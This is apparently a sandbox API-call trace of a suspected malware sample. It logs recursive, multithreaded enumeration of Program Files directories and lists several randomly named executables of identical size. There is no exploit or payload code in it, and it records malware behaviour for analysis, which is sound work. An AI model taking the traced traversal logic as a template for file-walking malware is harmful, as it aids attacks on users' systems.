FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d8c240, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d8c240, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.632] wcscmp (_String1="..", _String2=".") returned 1 [0140.632] wcscmp (_String1="..", _String2="..") returned 0 [0140.632] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f26b050, ftCreationTime.dwHighDateTime=0x1d54f6a, ftLastAccessTime.dwLowDateTime=0x30bd00a0, ftLastAccessTime.dwHighDateTime=0x1d55892, ftLastWriteTime.dwLowDateTime=0x30bd00a0, ftLastWriteTime.dwHighDateTime=0x1d55892, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="amanda-appointments-cincinnati.exe", cAlternateFileName="AMANDA~1.EXE")) returned 1 [0140.633] wcscmp (_String1="amanda-appointments-cincinnati.exe", _String2=".") returned 1 [0140.633] wcscmp (_String1="amanda-appointments-cincinnati.exe", _String2="..") returned 1 [0140.633] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0140.633] wcscmp (_String1="AS OLEDB", _String2=".") returned 1 [0140.633] wcscmp (_String1="AS OLEDB", _String2="..") returned 1 [0140.633] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e9160 [0140.633] wcscpy (in: _Dest=0x8e9160, _Source="C:\\Program Files\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services") returned="C:\\Program Files\\Microsoft Analysis Services" [0140.633] wcscat (in: _Dest=0x8e9160, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\") returned="C:\\Program Files\\Microsoft Analysis Services\\" [0140.633] wcscat (in: _Dest=0x8e9160, _Source="AS OLEDB" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" [0142.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e9160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0142.776] FindNextFileW (in: hFindFile=0x941d70, lpFindFileData=0x8f62b0 | out: lpFindFileData=0x8f62b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0142.776] FindClose (in: hFindFile=0x941d70 | out: hFindFile=0x941d70) returned 1 [0142.778] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f62b0) returned 1 [0142.778] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8eaa38) returned 1 [0142.778] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5230) returned 1 Thread: id = 1631 os_tid = 0x750 [0139.572] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x48) returned 0x8f91e8 [0139.572] wcscpy (in: _Dest=0x8f91e8, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.572] wcscat (in: _Dest=0x8f91e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.572] wcscat (in: _Dest=0x8f91e8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\*") returned="C:\\Program Files\\Microsoft Office\\*" [0139.572] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f6940 [0139.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9b10 [0139.573] wcscmp (_String1=".", _String2=".") returned 0 [0139.573] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.573] wcscmp (_String1="..", _String2=".") returned 1 [0139.573] wcscmp (_String1="..", _String2="..") returned 0 [0139.573] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0139.573] wcscmp (_String1="CLIPART", _String2=".") returned 1 [0139.573] wcscmp (_String1="CLIPART", _String2="..") returned 1 [0139.573] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8eaaa0 [0139.573] wcscpy (in: _Dest=0x8eaaa0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.573] wcscat (in: _Dest=0x8eaaa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.573] wcscat (in: _Dest=0x8eaaa0, _Source="CLIPART" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART") returned="C:\\Program Files\\Microsoft Office\\CLIPART" [0139.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8eaaa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194 [0139.574] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0139.574] wcscmp (_String1="Document Themes 14", _String2=".") returned 1 [0139.574] wcscmp (_String1="Document Themes 14", _String2="..") returned 1 [0139.574] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x8e8698 [0139.574] wcscpy (in: _Dest=0x8e8698, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.574] wcscat (in: _Dest=0x8e8698, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.574] wcscat (in: _Dest=0x8e8698, _Source="Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0139.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190 [0139.575] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0139.575] wcscmp (_String1="MEDIA", _String2=".") returned 1 [0139.575] wcscmp (_String1="MEDIA", _String2="..") returned 1 [0139.575] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e3f50 [0139.575] wcscpy (in: _Dest=0x8e3f50, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.575] wcscat (in: _Dest=0x8e3f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.575] wcscat (in: _Dest=0x8e3f50, _Source="MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0139.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e3f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x240 [0139.580] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa46cebc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa46cebc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1 [0139.580] wcscmp (_String1="Office14", _String2=".") returned 1 [0139.580] wcscmp (_String1="Office14", _String2="..") returned 1 [0139.580] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8f6b98 [0139.580] wcscpy (in: _Dest=0x8f6b98, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.580] wcscat (in: _Dest=0x8f6b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.580] wcscat (in: _Dest=0x8f6b98, _Source="Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0139.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f6b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244 [0139.582] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84cffa80, ftCreationTime.dwHighDateTime=0x1d53cfe, ftLastAccessTime.dwLowDateTime=0x5b34dab0, ftLastAccessTime.dwHighDateTime=0x1d57494, ftLastWriteTime.dwLowDateTime=0x5b34dab0, ftLastWriteTime.dwHighDateTime=0x1d57494, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="omega-daughters-communicate.exe", cAlternateFileName="OMEGA-~1.EXE")) returned 1 [0139.582] wcscmp (_String1="omega-daughters-communicate.exe", _String2=".") returned 1 [0139.582] wcscmp (_String1="omega-daughters-communicate.exe", _String2="..") returned 1 [0139.582] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0139.582] wcscmp (_String1="Stationery", _String2=".") returned 1 [0139.582] wcscmp (_String1="Stationery", _String2="..") returned 1 [0139.582] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5a) returned 0x8f6bf8 [0139.582] wcscpy (in: _Dest=0x8f6bf8, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.582] wcscat (in: _Dest=0x8f6bf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.582] wcscat (in: _Dest=0x8f6bf8, _Source="Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0139.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f6bf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248 [0139.584] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0139.584] wcscmp (_String1="Templates", _String2=".") returned 1 [0139.584] wcscmp (_String1="Templates", _String2="..") returned 1 [0139.584] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8f6c60 [0139.584] wcscpy (in: _Dest=0x8f6c60, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office" [0139.584] wcscat (in: _Dest=0x8f6c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\" [0139.584] wcscat (in: _Dest=0x8f6c60, _Source="Templates" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates" [0139.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f6c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x24c [0139.585] FindNextFileW (in: hFindFile=0x8d9b10, lpFindFileData=0x8f6940 | out: lpFindFileData=0x8f6940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0139.585] FindClose (in: hFindFile=0x8d9b10 | out: hFindFile=0x8d9b10) returned 1 [0139.585] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6940) returned 1 [0139.585] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f91e8) returned 1 [0139.585] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f90a8) returned 1 Thread: id = 1632 os_tid = 0x754 [0139.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8710 [0139.587] wcscpy (in: _Dest=0x8e8710, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0139.587] wcscat (in: _Dest=0x8e8710, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\" [0139.587] wcscat (in: _Dest=0x8e8710, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*" [0139.587] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8f6730 [0139.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x8f6730 | out: lpFindFileData=0x8f6730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941db0 [0140.633] wcscmp (_String1=".", _String2=".") returned 0 [0140.633] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x8f6730 | out: lpFindFileData=0x8f6730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d660e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d660e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.635] wcscmp (_String1="..", _String2=".") returned 1 [0140.635] wcscmp (_String1="..", _String2="..") returned 0 [0140.635] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x8f6730 | out: lpFindFileData=0x8f6730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc06770, ftCreationTime.dwHighDateTime=0x1d551f7, ftLastAccessTime.dwLowDateTime=0xd68a21d0, ftLastAccessTime.dwHighDateTime=0x1d53bf9, ftLastWriteTime.dwLowDateTime=0xd68a21d0, ftLastWriteTime.dwHighDateTime=0x1d53bf9, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sponsor_romance.exe", cAlternateFileName="SPONSO~1.EXE")) returned 1 [0140.635] wcscmp (_String1="sponsor_romance.exe", _String2=".") returned 1 [0140.635] wcscmp (_String1="sponsor_romance.exe", _String2="..") returned 1 [0140.635] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x8f6730 | out: lpFindFileData=0x8f6730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0140.635] wcscmp (_String1="v3.5", _String2=".") returned 1 [0140.635] wcscmp (_String1="v3.5", _String2="..") returned 1 [0140.636] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0180 [0140.636] wcscpy (in: _Dest=0x8d0180, _Source="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition" [0140.636] wcscat (in: _Dest=0x8d0180, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\" [0140.636] wcscat (in: _Dest=0x8d0180, _Source="v3.5" | out: _Dest="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5" [0142.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8d0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0142.780] FindNextFileW (in: hFindFile=0x941db0, lpFindFileData=0x8f6730 | out: lpFindFileData=0x8f6730*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0142.780] FindClose (in: hFindFile=0x941db0 | out: hFindFile=0x941db0) returned 1 [0142.780] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6730) returned 1 [0142.780] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8710) returned 1 [0142.780] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8620) returned 1 Thread: id = 1633 os_tid = 0x76c [0139.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x58) returned 0x8f6ed0 [0139.592] wcscpy (in: _Dest=0x8f6ed0, _Source="C:\\Program Files\\Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0139.592] wcscat (in: _Dest=0x8f6ed0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\") returned="C:\\Program Files\\Microsoft Sync Framework\\" [0139.592] wcscat (in: _Dest=0x8f6ed0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\*" [0139.592] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x8faab8 [0139.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x8faab8 | out: lpFindFileData=0x8faab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9d90 [0141.094] wcscmp (_String1=".", _String2=".") returned 0 [0141.094] FindNextFileW (in: hFindFile=0x8d9d90, lpFindFileData=0x8faab8 | out: lpFindFileData=0x8faab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x87d3ff80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d3ff80, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.094] wcscmp (_String1="..", _String2=".") returned 1 [0141.094] wcscmp (_String1="..", _String2="..") returned 0 [0141.094] FindNextFileW (in: hFindFile=0x8d9d90, lpFindFileData=0x8faab8 | out: lpFindFileData=0x8faab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x639f1560, ftCreationTime.dwHighDateTime=0x1d54c37, ftLastAccessTime.dwLowDateTime=0xa13c66d0, ftLastAccessTime.dwHighDateTime=0x1d56adb, ftLastWriteTime.dwLowDateTime=0xa13c66d0, ftLastWriteTime.dwHighDateTime=0x1d56adb, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="districts-bufing.exe", cAlternateFileName="DISTRI~1.EXE")) returned 1 [0141.094] wcscmp (_String1="districts-bufing.exe", _String2=".") returned 1 [0141.094] wcscmp (_String1="districts-bufing.exe", _String2="..") returned 1 [0141.094] FindNextFileW (in: hFindFile=0x8d9d90, lpFindFileData=0x8faab8 | out: lpFindFileData=0x8faab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97cb00, ftCreationTime.dwHighDateTime=0x1d52dbf, ftLastAccessTime.dwLowDateTime=0x93de3960, ftLastAccessTime.dwHighDateTime=0x1d51d19, ftLastWriteTime.dwLowDateTime=0x93de3960, ftLastWriteTime.dwHighDateTime=0x1d51d19, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="specifiedgarliclingerie.exe", cAlternateFileName="SPECIF~1.EXE")) returned 1 [0141.094] wcscmp (_String1="specifiedgarliclingerie.exe", _String2=".") returned 1 [0141.094] wcscmp (_String1="specifiedgarliclingerie.exe", _String2="..") returned 1 [0141.094] FindNextFileW (in: hFindFile=0x8d9d90, lpFindFileData=0x8faab8 | out: lpFindFileData=0x8faab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0141.094] wcscmp (_String1="v1.0", _String2=".") returned 1 [0141.094] wcscmp (_String1="v1.0", _String2="..") returned 1 [0141.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90ec18 [0141.094] wcscpy (in: _Dest=0x90ec18, _Source="C:\\Program Files\\Microsoft Sync Framework" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework" [0141.095] wcscat (in: _Dest=0x90ec18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\") returned="C:\\Program Files\\Microsoft Sync Framework\\" [0141.095] wcscat (in: _Dest=0x90ec18, _Source="v1.0" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0" [0141.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ec18, dwCreationFlags=0x0, lpThreadId=0x0 | out: 